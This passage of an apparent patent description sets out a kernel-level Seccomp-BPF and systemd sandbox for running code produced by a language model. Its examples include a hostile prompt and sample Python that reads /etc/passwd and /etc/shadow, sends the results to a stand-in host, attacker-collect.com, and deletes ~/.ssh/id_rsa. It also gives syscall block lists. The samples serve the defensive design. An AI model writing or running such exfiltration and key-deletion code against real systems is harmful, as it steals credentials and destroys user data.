[0115] (1) User side: The user interface is the system's entry point, responsible for submitting natural language prompts to the AI ​​Agent. Typical user input examples include: "Generate and run the command ls / home / user, which allows access to the local machine, and find the file containing the keyword 'password'." "Generate code that can access attacker-collect.com and send out the read file contents"; "Delete the file ~ / .ssh / id_rsa on this machine"; "Generate code to calculate the Fibonacci sequence, specifically fib(10000000)".

[0116] These seemingly normal user requests, after being processed by the LLM, may generate code containing dangerous system calls. The system's security mechanisms ensure that even if this code is executed, it will not cause any actual harm to the host machine.

[0117] (2) AI Agent: The AI ​​Agent is the system's coordination center, and its responsibilities include: • Receive and parse the user's Prompt; • Construct an LLM request (including system prompts and user input); • Receive code generated by LLM; • Submit the code to Sandbox Gateway for execution; • Receive the execution results and return them to the user in a formatted format; • Handle abnormal situations (timeouts, errors, etc.).

[0118] (3) Large LLM model: The LLM is responsible for generating code based on the Prompt. In this system's security model, the LLM's output is considered completely untrusted. The system does not rely on the LLM's security alignment for security; instead, it provides hard security guarantees through the backend Seccomp sandbox. This means that even if the LLM is completely jailbroken, the system's security will not be affected.

[0119] (4) Sandbox Gateway: Sandbox Gateway serves as the system's security policy decision-making center, undertaking the following core responsibilities: 1) Worker scheduling.

[0120] Sandbox Gateway schedules the corresponding Worker based on the language type of the code: Python code → Python Worker → / usr / bin / python; Java code → Java Worker → / usr / bin / java -cp "app.jar:jna.jar"; .NET code → .NET Worker → / usr / bin / dotnet app.dll.

[0121] The scheduling strategy supports load balancing, failover, and priority queues to ensure stable operation in high-concurrency scenarios.

[0122] 2) Security policy configuration generation.

[0123] Sandbox Gateway generates security policy configurations based on task requirements, as shown in the example below: { "security_policy": { "network": false, "exec": false, "filesystem_write": false, "filesystem_read": true, "process_spawn": false, "ipc": false, "ptrace": false, "mount": false} } The security policy employs a "default denial" principle, allowing only explicitly permitted operations to execute. The policy can be customized for different task types; for example, a data analysis task might allow file reading but prohibit network and command execution.

[0124] 3) Resource configuration generation.

[0125] Sandbox Gateway generates resource limit configurations for each task, as shown in the example below: { "resource_limits": { "cpu": "20%", "memory": "256MB", "memory_swap": "0", "timeout": "30s", "max_processes": 10, "working_directory": " / opt / sandbox / {guid}"} } The working directory is created based on a randomly generated GUID (Globally Unique Identifier) ​​to ensure file system isolation for each execution. The working directory is automatically cleaned up after execution.

[0126] 4) Lifecycle management.

[0127] Sandbox Gateway manages the entire lifecycle of each executed task, including: • Create: Allocate resources and generate configurations; • Scheduling: Selecting appropriate Workers and queuing them for waiting; • Execute: Start the sandbox, inject strategies, and run code; • Monitor: Monitors execution status and detects timeouts; • Terminate: Timeout kill (i.e., timeout termination), abnormal termination; • Cleanup: Reclaim resources and clean up the working directory; • Retry: Retry according to the strategy after failure (e.g., up to 3 times).

[0128] 5) Audit log.

[0129] Sandbox Gateway records complete audit information, including: • Original user prompt; • LLM-generated code; • Security policy configuration; • System call violation record; • Runtime log; • Execution results (stdout / stderr, standard output / standard error); • Resource usage statistics; • Timestamp and execution time.

[0130] (5) Sandbox Worker: Sandbox Workers are the enforcers of security policies, responsible for building and managing sandbox environments. Their core responsibilities include: 1) Sandbox creation.

[0131] After receiving the scheduling request from the Sandbox Gateway, the Worker performs the following sandbox creation steps: Step 1: Generate the working directory. Based on the configuration information (resource limit configuration) provided by Sandbox Gateway, create a separate working directory named with a GUID under / opt / sandbox / and set appropriate file system permissions.

[0132] Step 2: Write the code file. Write the LLM-generated code to a script file in the working directory.

[0133] Step 3: Inject the Seccomp policy. Based on the security policy configuration, inject the kernel-level Seccomp-BPF filter before code execution. For Python, inject at the beginning of the script using the pyseccomp library; for Java and .NET, inject at the program entry point using JNA or P / Invoke.

[0134] It should be noted that injection here refers to loading the Seccomp-BPF filter within the same process before code execution; after loading, subsequent code execution is performed under the constraints of the filter.

[0135] Step 4: Build the execution command. Generate a systemd-run command with resource limits, as shown in the example below: sudo systemd-run --scope \ -p CPUQuota=20% \ -p MemoryMax=256M \ -p MemorySwapMax=0 \ --working-directory= / opt / sandbox / {guid}\ / usr / bin / python sandbox_script.py 2) Loading at runtime.

[0136] Worker supports loading three runtime environments: Python runtime: Scripts are executed directly via ` / usr / bin / python`, and Seccomp policies are loaded internally within the script using the `pyseccomp` library. The advantage is its simplicity; the policy and code reside in the same process.

[0137] The Java runtime executes the compiled JAR file via ` / usr / bin / java`. The Seccomp strategy is loaded via JNA (Java Native Access) by calling the libseccomp library. `jna.jar` and the application JAR need to be placed in the classpath.

[0138] .NET runtime: The compiled DLL (Dynamic Link Library) file is executed via / usr / bin / dotnet. The Seccomp strategy loads libseccomp.so.2 via P / Invoke (Platform Invocation Services). It leverages .NET's interoperability to directly call C library functions.

[0139] 3) Code execution and monitoring.

[0140] Workers execute code in a sandbox environment and monitor the execution status in real time, including: • Capture stdout and stderr output; • Monitoring process exit status code; • Detect Seccomp violations (via audit logs or SIGSYS signals); • Monitor resource usage (CPU, memory); • Perform timeout detection and forced termination.

[0141] 4) Results collection and return.

[0142] The worker collects the execution results and returns them to the Sandbox Gateway, as shown in the example below: { "status": "completed |failed |timeout |violation", "exit_code": 0, stdout: "...", stderr: "...", "violations": [ {"syscall": "execve", "action": "blocked", "timestamp": "..."}, {"syscall": "socket", "action": "blocked", "timestamp": "..."} ], "resource_usage": { "cpu_time_ms": 150, "memory_peak_mb": 25, "wall_time_ms": 200} } (6) Security Policy Engine: The security policy engine in the sandbox layer is a core component of Sandbox Gateway, responsible for generating optimal security policies based on task characteristics. The security policy engine supports the following features: 1) Policy Templates: Predefined security policy templates, such as "Pure Computation" (disallow all I / O), "Read-Only Analysis" (allow file reading, prohibit writing and network access), "Restricted Network" (allow HTTPS access for specific domains), etc.

[0143] 2) Strategy Combination: Supports the combination of multiple strategy templates, and ensures security by taking the intersection.

[0144] 3) Policy verification: Perform a consistency check before the policy takes effect to ensure that the policy will not cause runtime crashes (e.g., you cannot simultaneously disable the write system call and enable stdout output).

[0145] 4) Strategy audit: Records the decision-making process for each strategy generation, supporting post-analysis and strategy optimization.

[0146] like Figure 1As shown, the system's operation flow is as follows: The client sends a prompt to the AI ​​Agent; the AI ​​Agent requests the LLM large model to generate code; the LLM large model returns untrusted code; the AI ​​Agent submits an execution request to the Sandbox Gateway; the Sandbox Gateway schedules Python Workers, Java Workers, and .NET Workers from the Worker pool; each Worker is injected with a Seccomp-BPF filter security policy before executing code, and is subject to resource restrictions controlled by Cgroups v2 resources in the kernel layer during code execution; finally, the Worker returns the execution result to the Sandbox Gateway, which returns the execution result to the AI ​​Agent, and the AI ​​Agent then returns the execution result to the client. Specifically, the Sandbox Gateway uses a security policy engine to generate security policies, generate resource configurations, manage lifecycles, and record audit logs; the kernel-level Seccomp-BPF filter (preventing dangerous syscalls) and Cgroups v2 resource control, combined with the file system permissions of the sandbox layer, provide underlying support for security policy injection, resource restrictions, and file access control in the sandbox layer, jointly ensuring the security and isolation of the execution environment.

[0147] To facilitate understanding of this embodiment, the following provides a detailed description of the execution method of a lightweight AI Agent security sandbox disclosed in this embodiment of the invention.

[0148] With the increasing prevalence of AI agents in enterprise applications, secure execution environments have become a necessity. Traditional solutions to the untrustworthiness of LLM-generated code include prompt filtering and output review mechanisms. However, these traditional solutions are limited by the illusionary nature of LLM, jailbreak attacks, and prompt injection, failing to fundamentally prevent the generation of dangerous code. Furthermore, most users are unaware of the hidden security vulnerabilities, which can easily lead to the leakage of confidential data or system damage for enterprises and individuals, thereby triggering a crisis of trust. Therefore, this invention aims to fill a significant gap in research on defense methods against such vulnerabilities and strives to develop a practical and effective solution.

[0149] This invention proposes an AI Agent secure execution environment architecture based on the Linux Seccomp-BPF (Secure Computing Mode with Berkeley Packet Filter) kernel-level system call filtering mechanism. The core idea of ​​this architecture is not to prevent the generation of dangerous code, but to ensure that even if dangerous code is executed, it cannot cause actual harm. By injecting Seccomp policies before code execution and combining this with Systemd Transient Units for CPU and memory resource limitations, a lightweight, low-overhead, kernel-level enforced secure sandbox environment is constructed. The lightweight sandbox solution provided by this invention can significantly reduce the security risks and operational costs of deploying AI Agents in enterprises.

[0150] This invention designs and implements a complete Sandbox Gateway-Worker architecture, supporting Python, Java, and .NET runtime environments. It features dynamic security policy configuration, resource quota management, lifecycle control, and comprehensive audit logs. Experimental results show that, compared to Docker container solutions, the Seccomp transient unit-based sandbox solution offers significant advantages in startup latency, resource consumption, and deployment complexity, while providing equivalent security isolation capabilities.

[0151] This invention provides a method for executing a lightweight AI Agent security sandbox. This method is applied to a sandbox layer, which includes a sandbox gateway and sandbox worker nodes. This method can be executed by an electronic device with a sandbox layer deployed on it. See also... Figure 2 The diagram shows a flowchart of a lightweight AI Agent security sandbox execution method, which mainly includes the following steps S210 to S230: In step S210, the sandbox gateway receives an initial execution request sent by the intelligent agent. The initial execution request includes the target code generated by the large language model based on the user prompt words and its language type information.

[0152] The AI ​​Agent acts as the system's coordination center, responsible for receiving and parsing user prompts, constructing LLM requests (including system prompts and user input), receiving the code generated by the LLM, and submitting the code to the sandbox gateway for execution. LLM can be, but is not limited to, a deep neural network model based on the Transformer architecture. This model, through pre-training on massive amounts of text data, has achieved powerful natural language understanding and generation capabilities. The core capabilities of LLM include natural language understanding and generation, code generation and analysis, logical reasoning, and knowledge-based question answering. In terms of code generation, LLM can generate code in various programming languages ​​based on natural language descriptions, including Python, Java, C#, and JavaScript.

[0153] For example, the client sends a Prompt instruction to the AI ​​Agent, such as "Generate code to calculate the Fibonacci sequence, calculating fib(10000000)". The AI ​​Agent receives and parses the Prompt, constructs an LLM request, and sends it to the LLM. The LLM generates the corresponding target code based on the Prompt, such as a Python script to calculate the Fibonacci sequence. After receiving the target code returned by the LLM, the AI ​​Agent encapsulates the target code and its language type information (e.g., "Python") into an initial execution request and sends it to the sandbox gateway. The initial execution request may also include information such as the task ID (the task identifier for the task being executed) and priority.

[0154] It's important to note that in this system's security model, the LLM output is considered completely untrusted. The system does not rely on LLM's security alignment for security; instead, it provides hard security guarantees through the backend Seccomp sandbox. This means that even if the LLM is completely jailbroken, the system's security will not be affected.

[0155] In step S220, the sandbox gateway generates a security policy configuration and resource restriction configuration corresponding to the initial execution request, and sends the target execution request, which includes the security policy configuration, resource restriction configuration, and target code, to the sandbox worker node selected based on the language type information.

[0156] The sandbox gateway is the decision-making center for security policies, responsible for scheduling workers, generating security policies, managing resource configuration, controlling lifecycles, and recording audit logs. Sandbox worker nodes are the executors of security policies, responsible for creating the sandbox environment, injecting Seccomp policies, loading runtime, executing code, and collecting output.

[0157] In some possible embodiments, generating the security policy configuration and resource limit configuration corresponding to the initial execution request may include: selecting a corresponding policy template from a predefined policy template library based on the task type corresponding to the initial execution request, and generating a security policy configuration based on the selected policy template; dynamically generating a resource limit configuration based on the expected complexity of the task corresponding to the initial execution request and the current system load; wherein, the current system load is used to characterize the real-time resource pressure status of the host machine where the sandbox layer is located.

[0158] Specifically, the security policy engine is the core component of the sandbox gateway, responsible for generating optimal security policies based on task characteristics. The security policy engine supports the following functions: policy templates, predefined security policy templates such as "pure computation" (disallows all I / O), "read-only analysis" (allows file reading, disallows writing and network access), and "restricted network" (allows HTTPS access for specific domains); policy combination, supporting combinations of multiple policy templates, ensuring security through intersection; policy verification, performing consistency checks before security policy configuration takes effect to ensure that the security policy does not cause runtime crashes; and policy auditing, recording the decision-making process for each security policy configuration generation, supporting post-event analysis and policy optimization.

[0159] This can be explained by the fact that the security policy configuration employs a default deny principle, explicitly prohibiting target code from executing dangerous system calls. Dangerous system calls must cover at least the following categories of operating system kernel interfaces: file read / write, process control, network sockets, thread synchronization, memory management, eBPF, container namespaces, and security mechanisms, to achieve fine-grained permission constraints. Dangerous system calls can include one or more of the following: execve, execveat, socket, connect, unlink, and unlinkat. The security policy configuration uses a default deny principle, allowing only explicitly permitted operations to execute. The security policy configuration can be customized according to different task types; for example, a data analysis task might allow file reading but prohibit network and command execution.

[0160] In one possible implementation, dangerous system calls can be categorized into 20 types as shown in Table 1, totaling 449 instructions. The scope of control covers all kernel interfaces of the operating system, including file read / write, process control, network sockets, thread synchronization, memory management, eBPF, container namespaces, and security mechanisms. This policy can not only restrict network access, modification of files outside the sandbox, and execution of external commands, but also implement fine-grained permission constraints for all 20 categories of system calls in Table 1; it also configures Cgroups to manage process resource usage and records all security violations for post-event auditing.

[0161] Resource constraints can be configured using Systemd transient units. These constraints include at least one or more of the following: CPU usage quotas, memory usage limits, and maximum number of processes. Systemd is the initialization system and service manager for modern Linux systems, providing powerful resource control capabilities. The `systemd-run` command creates transient units, runs specified commands within independent cgroups, and imposes resource constraints on them. Transient units are automatically cleaned up after command execution, requiring no manual management. Systemd implements resource constraints through Linux Cgroups v2 and supports the following key resource control parameters: CPUQuota limits the percentage of CPU usage; for example, 20% means that a maximum of 20% of a single core can be used. MemoryMax limits the maximum memory usage; exceeding this limit will trigger the OOM Killer. MemorySwapMax limits the amount of swap space used; setting it to 0 disables swap. TasksMax limits the maximum number of processes / threads; IOReadBandwidthMax / IOWriteBandwidthMax limits I / O bandwidth.

[0162] Sandbox Gateway generates security policy configurations based on task type. For example, a typical security policy configuration for a general code execution task might be as follows: { "security_policy": { "network": false, / / Block network access "exec": false, / / Disable execution of external commands "filesystem_write": false, / / Disables file writing (except to sandbox directories) "filesystem_delete": false, / / Disable file deletion "process_spawn": false, / / Prevent child process creation "ipc": false, / / Disable inter-process communication "ptrace": false, / / Disable process tracing "mount": false / / Disable file system mounting }, "blocked_syscalls": [ "execve", "execveat", "socket", "connect", "bind", "listen", "accept", "unlink", "unlinkat", "rename", "renameat", "ptrace", "mount", "umount2", "clone3" / / Limit process creation] } When generating resource limit configurations, Sandbox Gateway dynamically allocates resource limits based on the expected complexity of the task being executed and the current system load. For example, a typical resource limit configuration might look like this: { "resource_limits": { "cpu_quota": "20%", "memory_max": "256MB", "memory_swap_max": "0", "timeout_seconds": 30, "max_tasks": 10, "io_weight": 100} } The sandbox gateway selects the appropriate Worker pool based on the target code's language: Python code is scheduled to use PythonWorkers, executed via ` / usr / bin / python`; Java code is scheduled to use JavaWorkers, executed via ` / usr / bin / java -cp"app.jar:jna.jar"`; and .NET code is scheduled to use .NETWorkers, executed via ` / usr / bin / dotnet app.dll`. The scheduling algorithm considers the Worker's current load and health status.

[0163] The following is an example data structure for a target execution request sent from the sandbox gateway to the sandbox worker node: { "task_id": "f7e6d5c4-b3a2-1098-fedc-ba9876543210", "session_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "language": "python", "code": "import os\nimport subprocess\n...", "working_directory": " / opt / sandbox / a1b2c3d4-e5f6-7890-abcd-ef1234567890" "code_hash": "sha256:3a7bd3e2...", "security_policy": {.....}, "resource_limit": {.....}} In step S230, the sandbox worker node injects a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and executes the target code under the constraints of the resource limit configuration; wherein, the Seccomp-BPF filter is used to filter system calls during the execution of the target code at the kernel level.

[0164] In some possible embodiments, step S230 above may include the following sub-steps: Sub-step S231: Create the working directory based on the globally unique identifier.

[0165] In this embodiment of the invention, the target execution request also includes a globally unique identifier (GUID) generated randomly by the sandbox gateway. The GUID is located in the resource restriction configuration generated by the sandbox gateway and is unique (it will not be repeated). The sandbox worker node can extract the globally unique identifier assigned by the sandbox gateway from the target execution request, create a working directory named after the GUID with / opt / sandbox / as the parent directory, and set appropriate file system permissions.

[0166] For example, the sandbox worker node executes the following commands to create a working directory and set file system permissions: mkdir -p / opt / sandbox / a1b2c3d4-e5f6-7890-abcd-ef1234567890 chmod 700 / opt / sandbox / a1b2c3d4-e5f6-7890-abcd-ef1234567890 chown sandbox_user:sandbox_group / opt / sandbox / a1b2c3d4-... Sub-step S232: Write the target code into a script file in the working directory.

[0167] Specifically, the sandbox worker node writes the target code generated by LLM to a script file in the working directory. The name and extension of the script file are determined based on the language type information. For example, for Python code, the sandbox worker node writes the target code to the file / opt / sandbox / {guid} / sandbox_script.py.

[0168] Sub-step S233: Compile the security policy configuration into a Seccomp-BPF filter, and inject the Seccomp-BPF filter before the target code is executed, according to the injection method corresponding to the language type information.

[0169] Specifically, the sandbox worker node can determine the set of system calls to be rejected based on the Boolean switches in the security policy configuration and the predefined system call mapping relationship, and then compile the set of system calls into a Seccomp-BPF filter program through the libseccomp interface and load it into the kernel.

[0170] This can be explained by the fact that the security policy configuration does not directly become a filter. The sandbox worker node first uses a built-in mapping table to convert the boolean switches in the JSON into a list of specific system call names, and then uses libseccomp (pyseccomp / JNA / P-Invoke) to compile these system call names into a BPF filter and load it into the kernel. This allows the security policy configuration to take effect during the process's lifecycle as a kernel-level, unbypassable system call interception.

[0171] For example, the policy mapping relationships are as follows: network: false maps to denying system calls such as socket, connect, bind, listen, accept, sendto, recvfrom, sendmsg, and recvmsg; exec: false maps to denying system calls such as execve and execveat; filesystem_write: false maps to denying file write-related system calls, but retaining the ability to write to standard output (stdout); filesystem_delete: false maps to denying system calls such as unlink, unlinkat, rename, and renameat; process_spawn: false maps to denying system calls such as fork, vfork, and clone (except for clone with the CLONE_THREAD flag); ptrace: false maps to denying the ptrace system call; mount: false maps to denying system calls such as mount, umount2, and pivot_root.

[0172] Specifically, depending on the injection method corresponding to the language type information, injecting the Seccomp-BPF filter before the target code is executed can include: if the language type information is Python, then injecting the Seccomp-BPF filter at the beginning of the script file through the pyseccomp library; if the language type information is Java, then injecting the Seccomp-BPF filter at the beginning of the main method by calling libseccomp through JNA; if the language type information is .NET, then injecting the Seccomp-BPF filter at the beginning of the main method by calling libseccomp through P / Invoke.

[0173] For example, for Python code, the final script structure generated by the sandbox worker node is as follows: # === Seccomp strategy injection (automatically added by Worker) === import pyseccomp as seccomp f = seccomp.SyscallFilter(defaction=seccomp.ALLOW) f.add_rule(seccomp.ERRNO(1), "execve") f.add_rule(seccomp.ERRNO(1), "execveat") f.add_rule(seccomp.ERRNO(1), "socket") f.add_rule(seccomp.ERRNO(1), "connect") f.add_rule(seccomp.ERRNO(1), "unlink") f.add_rule(seccomp.ERRNO(1), "unlinkat") f.load() # === End of Seccomp strategy injection === # === The following is untrusted code generated by LLM === import os import subprocess ... (Code generated by LLM) ... Sub-step S234: Generate a transient unit execution command containing resource limit parameters according to the resource limit configuration.

[0174] Specifically, sandbox worker nodes can convert resource limit parameters such as CPU usage quota, memory usage limit, and maximum number of processes in the resource limit configuration into systemd-run command-line parameters.

[0175] For example, the sandbox worker node generates the following systemd-run command: sudo systemd-run --scope \ -p CPUQuota=20% \ -p MemoryMax=256M \ -p MemorySwapMax=0 \ -p TasksMax=10 \ --working-directory= / opt / sandbox / a1b2c3d4-...\ / usr / bin / pythonsandbox_script.py Sub-step S235: Execute commands through the transient unit, run the script file under the constraints of the resource limit configuration, and execute the target code.

[0176] Specifically, sandbox worker nodes can start sandbox processes via systemd-run. These processes run in independent Cgroups and are subject to resource limitations such as CPU and memory. System calls during target code execution are filtered at the kernel level by the Seccomp-BPF filter.

[0177] The advantages of transient units can be explained by the fact that they do not require pre-creating container images, do not require daemons, have extremely low startup overhead (milliseconds), and automatically clean up all resources after command execution. This makes them very suitable for frequent, short-lived code execution tasks in AIAgent scenarios.

[0178] When LLM-generated target code attempts to execute a prohibited system call, the kernel's Seccomp-BPF filter intercepts the call and returns an EPERM error (or terminates the process according to the security policy configuration). For example: if code attempts to `subprocess.run(["ls"])` (internally calling `execve`), Seccomp intercepts the `execve` system call and returns `ERRNO(1)`, Python throws an `OSError: [Errno 1] Operation not permitted`; if code attempts to `socket.socket()` (internally calling the `socket` system call), Seccomp intercepts the `socket` system call and returns `ERRNO(1)`, Python throws an `OSError: [Errno 1] Operation not permitted`; if code attempts to `os.remove("my_file.txt")` (internally calling `unlink`), Seccomp intercepts the `unlink` system call and returns `ERRNO(1)`, Python throws an `OSError: [Errno 1] Operation not permitted`.

[0179] In this embodiment of the invention, after executing commands through transient units and running script files to execute target code, monitoring and exception handling steps are also included during the execution process. Specifically, the sandbox worker nodes monitor the resource usage of the process corresponding to the script file in real time through Systemd's Cgroups mechanism, and take corresponding actions when the resource limit threshold is exceeded. Specifically, when the CPU usage quota is exceeded, the CPU scheduling of the process is restricted; when the memory usage limit is exceeded, the OOM Killer is triggered to terminate the process; when the maximum number of processes is exceeded, new fork or clone calls fail.

[0180] The sandbox worker nodes maintain an execution timeout timer and send a SIGKILL signal to the process upon timeout to forcibly terminate the process. The sandbox worker nodes log exception information when they detect at least one exception returned by the Seccomp-BPF filter: an EPERM error, OOM termination, or timeout termination.

[0181] For example, Systemd monitors process resource usage in real time through Cgroups: when CPU usage exceeds the CPUQuota limit, the process is throttled; when memory usage exceeds the MemoryMax limit, the OOMKiller is triggered to terminate the process; when the number of processes exceeds the TasksMax limit, new fork / clone calls fail; when the execution time exceeds the timeout threshold, the Worker sends a SIGKILL to terminate the process.

[0182] This can be explained by the fact that if an exception occurs during code execution (Seccomp violation, OOM, or timeout, etc.), the sandbox worker node records the exception information and ensures that the process is terminated correctly and resources are reclaimed.

[0183] In this embodiment of the invention, after the sandbox worker node executes the target code, the process further includes a result collection and return step. Specifically, the sandbox worker node obtains execution information and returns it to the sandbox gateway; wherein, the execution information includes system call violation records, runtime logs, execution results, resource usage statistics, and execution time; the sandbox gateway receives the execution information, records audit logs, and returns the execution results to the user; wherein, the audit logs include one or more of the following: user prompts, target code, security policy configuration, resource limit configuration, system call violation records, runtime logs, execution results, resource usage statistics, and execution time.

[0184] Sandbox worker nodes can capture process stdout and stderr output, encapsulate execution results into a standard format response, clean up the working directory and all files within it, release Cgroup resources, and return the execution results to the sandbox gateway. After logging a complete audit log, the sandbox gateway forwards the execution results to the AI ​​Agent. The AI ​​Agent formats the execution results and returns them to the client. The AI ​​Agent can display the execution results to the user, explicitly informing them which operations are blocked by security policies, such as: "Your requested ls command execution, network access, and file deletion operations have been blocked by security policies. File write operations within the sandbox were successfully executed." The lightweight AI Agent security sandbox execution method provided in this invention receives the initial execution request sent by the intelligent agent through a sandbox gateway, generates corresponding security policy configurations and resource restriction configurations, and sends the target execution request to the selected sandbox worker node. The sandbox worker node injects a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and executes the target code under the constraints of the resource restriction configuration. The Seccomp-BPF filter filters system calls during the execution of the target code at the kernel level. Compared with traditional prompt word filtering schemes, this invention pushes the security boundary down from the application layer to the operating system kernel layer. Since the Seccomp-BPF filter is enforced by the kernel and cannot be bypassed or removed by user-mode code, even if the LLM is induced to generate malicious code containing dangerous system calls, the code cannot cause actual harm during execution, thus providing deterministic security assurance for the execution of LLM-generated code.

[0185] Corresponding to the above-described execution method for a lightweight AI Agent security sandbox, this embodiment of the invention also provides an execution system for a lightweight AI Agent security sandbox. This system is applied to the sandbox layer, which includes a sandbox gateway and sandbox worker nodes. See also... Figure 3 The diagram shows the structure of an execution system for a lightweight AI Agent security sandbox. The system includes an intelligent agent layer 310 and a sandbox layer 320. The intelligent agent layer 310 includes an intelligent agent 311 and a large language model 312. The sandbox layer 320 includes a sandbox gateway 321 and a sandbox worker node 322.

[0186] Specifically, the sandbox gateway 321 is used to receive the initial execution request sent by the intelligent agent 311. The initial execution request includes the target code and its language type information generated by the large language model 312 based on the user prompt words. The sandbox gateway 321 is used to generate security policy configuration and resource restriction configuration corresponding to the initial execution request, and sends the target execution request, including the security policy configuration, resource restriction configuration and target code, to the sandbox worker node 322 selected based on language type information; Sandbox worker node 322 is used to inject a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and execute the target code under the constraints of the resource limit configuration; wherein, the Seccomp-BPF filter is used to filter system calls during the execution of the target code at the kernel level.

[0187] The lightweight AI Agent security sandbox execution system provided in this embodiment of the invention receives the initial execution request sent by the intelligent agent through the sandbox gateway, generates corresponding security policy configuration and resource restriction configuration, and sends the target execution request to the selected sandbox worker node. The sandbox worker node injects a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and executes the target code under the constraints of the resource restriction configuration. The Seccomp-BPF filter filters system calls during the execution of the target code at the kernel level. Compared with traditional prompt word filtering schemes, this embodiment of the invention pushes the security boundary down from the application layer to the operating system kernel layer. Since the Seccomp-BPF filter is enforced by the kernel and cannot be bypassed or removed by user-mode code, even if the LLM is induced to generate malicious code containing dangerous system calls, the code cannot cause actual harm during execution, thus providing deterministic security assurance for the execution of LLM-generated code.

[0188] Furthermore, the aforementioned sandbox gateway 321 is specifically used to: select a corresponding policy template from a predefined policy template library based on the task type corresponding to the initial execution request, and generate a security policy configuration based on the selected policy template; dynamically generate a resource limit configuration based on the expected complexity of the task corresponding to the initial execution request and the current system load; wherein, the current system load is used to characterize the real-time resource pressure status of the host machine where the sandbox layer is located.

[0189] Furthermore, the above security policy configuration adopts a default denial principle, explicitly prohibiting the target code from executing dangerous system calls; dangerous system calls cover at least the following categories of operating system kernel interfaces: file read / write, process control, network sockets, thread synchronization, memory management, eBPF, container namespaces, and security mechanisms, in order to achieve fine-grained permission constraints.

[0190] Furthermore, the above resource limit configuration is implemented through Systemd transient units, and the resource limit configuration includes at least one or more of CPU usage quota, memory usage limit and maximum number of processes.

[0191] Furthermore, the aforementioned target execution request also includes a globally unique identifier generated randomly by the sandbox gateway 321; the aforementioned sandbox worker node 322 is specifically used for: creating a working directory based on the globally unique identifier; writing the target code into a script file in the working directory; compiling the security policy configuration into a Seccomp-BPF filter, and injecting the Seccomp-BPF filter before the target code is executed according to the injection method corresponding to the language type information; wherein, if the language type information is Python, the Seccomp-BPF filter is injected at the beginning of the script file through the pyseccomp library; if the language type information is Java, the Seccomp-BPF filter is injected at the beginning of the main method by calling libseccomp through JNA; if the language type information is .NET, the Seccomp-BPF filter is injected at the beginning of the main method by calling libseccomp through P / Invoke; generating a transient unit execution command containing resource limit parameters according to the resource limit configuration; and running the script file under the constraints of the resource limit configuration through the transient unit execution command to execute the target code; wherein, the system calls during the execution of the target code are filtered by the Seccomp-BPF filter at the kernel level.

[0192] Furthermore, the aforementioned sandbox worker node 322 is also used to: monitor the resource usage of the process corresponding to the script file in real time through Systemd's Cgroups mechanism, and perform corresponding actions when the resource limit threshold is exceeded; when the CPU usage quota is exceeded, the CPU scheduling of the process is restricted; when the memory usage limit is exceeded, the OOM Killer is triggered to terminate the process; when the maximum number of processes is exceeded, new fork or clone calls fail; maintain an execution timeout timer, and send a SIGKILL signal to the process after the timeout to forcibly terminate the process; and record exception information when the Seccomp-BPF filter returns at least one of the following exceptions: EPERM error, OOM termination, or timeout termination.

[0193] Furthermore, the sandbox worker node 322 is also used to: obtain execution information and return it to the sandbox gateway 321; wherein, the execution information includes system call violation records, runtime logs, execution results, resource usage statistics, and execution time; the sandbox gateway 321 is also used to: receive execution information, record audit logs, and return the execution results to the user; wherein, the audit logs include one or more of the following: user prompts, target code, security policy configuration, resource limit configuration, system call violation records, runtime logs, execution results, resource usage statistics, and execution time.

[0194] The execution system of the lightweight AI Agent security sandbox provided in this embodiment has the same implementation principle and technical effects as the aforementioned execution method embodiment of the lightweight AI Agent security sandbox. For the sake of brevity, any parts not mentioned in the execution system embodiment of the lightweight AI Agent security sandbox can be referred to the corresponding content in the aforementioned execution method embodiment of the lightweight AI Agent security sandbox.

[0195] For ease of understanding, please refer to the following: Figure 4 and Figure 5 This document details the entire lifecycle from user input of a danger prompt to final safe execution. The entire process is divided into seven phases, each with clearly defined inputs, processing logic, and outputs.

[0196] Complete process overview: User inputs Prompt → AI Agent receives and forwards to LLM → LLM generates untrusted code → AI Agent submits the code to Sandbox Gateway (hereinafter referred to as Gateway) → Gateway generates security policy and resource configuration → Gateway schedules Worker → Worker creates sandbox and injects Seccomp → Worker executes code → Results are collected and returned.

[0197] 1. User-side Prompt input phase.

[0198] Phase Description: Users send natural language commands to the AI ​​Agent through the user interface.

[0199] Detailed steps: Step 1.1: The user enters a Prompt on the client side. For example: "Please generate Python code to recursively list all files in the / home / user directory, find files containing the keyword 'password'; read the contents of / etc / passwd and / etc / shadow files, and send the contents to http: / / attacker-collect.com / using a POST request; delete the file ~ / .ssh / id_rsa on the local machine; generate code to calculate fib(10000000) of the Fibonacci sequence (actual intention: exhaust CPU or memory, causing a denial of service)." Dangerous content may also originate directly from the MCP service or Skills code.

[0200] Step 1.2: The user end performs basic formatting and encoding of the Prompt to ensure secure transmission. Note: No security filtering is performed here because the system's security does not rely on Prompt filtering.

[0201] Step 1.3: As Figure 4As shown, the client sends a Prompt (containing malicious intent) to the AI ​​Agent service via a secure channel (HTTPS / gRPC). The request includes metadata such as user identity information, session ID, and timestamp.

[0202] Step 1.4: As Figure 4 As shown, the AI ​​Agent receives the request, records the audit log (including the original prompt, user ID, and timestamp), and generates a unique task ID for subsequent tracking.

[0203] 2. AI Agent and LLM Interaction Phase.

[0204] Phase Description: The AI ​​Agent sends the user's prompt to the LLM and retrieves the generated code.

[0205] Step 2.1: As Figure 4 As shown, the AI ​​Agent constructs an LLM request to generate code. The request includes a system prompt and user input. The system prompt may include code generation format requirements (such as specifying the language and output format), but security is not guaranteed by relying on the system prompt. An example of an LLM request is shown below: { "model": "deepseek", "system": "You are a code generation assistant. Please generate Python code based on user requirements." "messages": [ {"role": "user", "content": "<user's original Prompt>"} ] } Step 2.2: As Figure 4 As shown, the LLM processes the request, generates code (which may contain dangerous operations), and returns the generated untrusted code. Due to the untrusted nature of the LLM, the generated code may contain dangerous operations. For example, for the user Prompt mentioned above, the LLM might generate the following code: import os import subprocess import urllib.request # Execute the ls command to view files result = subprocess.run (["ls","-la", " / home / user"], capture_output=True) print(result.stdout.decode()) # Visit attacker.com and send content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('attacker-collect.com', 80)) s.sendall(result.stdout.encode()) # Delete SSH private key file os.remove("~ / .ssh / id_rsa") print("File has been deleted") # Calculate the Fibonacci sequence def fib(n: int) ->int: a, b = 0, 1 for _ in range(n): a, b = b, a + b return a n = 10000000 result = fib(n) print(f"fib({n}) digits=", 